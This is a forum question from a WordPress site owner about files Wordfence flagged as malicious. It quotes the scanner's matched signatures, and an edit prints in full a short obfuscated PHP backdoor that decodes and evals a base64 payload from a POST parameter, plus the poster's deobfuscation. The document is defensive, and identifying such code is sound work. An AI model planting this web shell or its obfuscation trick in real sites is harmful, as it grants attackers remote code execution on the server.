WordPress vulnerabilities alerts

I have just run the plugin Wordfence and it gave me some issues to fix.

There are two groups with the same suspucious code:

File appears to be malicious: wp-admin/cache/alias90.php
File appears to be malicious: wp-content/languages/plugins/title.php
File appears to be malicious: wp-content/plugins/wp-htaccess-editor/pages/lib.php
File appears to be malicious: wp-includes/js/tinymce/utils/blog.php
File appears to be malicious: wp-content/uploads/2013/start24.php

The description says: This file appears to be installed by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The text we found in this file that matches a known malicious file is: “@$GLOBALS[$GLOBALS[‘y23c’][67].$GLOBALS[‘y23c’][76].$GLOBALS[‘y23c’][76]”.

And the second group:

File appears to be malicious: wp-content/plugins/wp-htaccess-editor/pages/gallery.php.suspected
File appears to be malicious: wp-content/themes/themename/languages/dump.php.suspected
File appears to be malicious: wp-content/uploads/2013/05/help.php.suspected
File appears to be malicious: wp-content/uploads/2014/04/model.php.suspected
File appears to be malicious: wp-content/uploads/2015/06/blog.php.suspected

Where the description is: This file appears to be installed by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The text we found in this file that matches a known malicious file is: “strtolower($sF[4].$sF[5].$sF[9]”.

What should I do with those files? Are they actually malware?

EDIT: The files from the second group have this code

<?php 
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['n726b60'])) {
    eval($s21(${$s20}['n726b60']));
}
?>

EDIT2: I evaluated that code and its returning this:

base64_decode($_POST['n726b60']);

Is this something dangerous?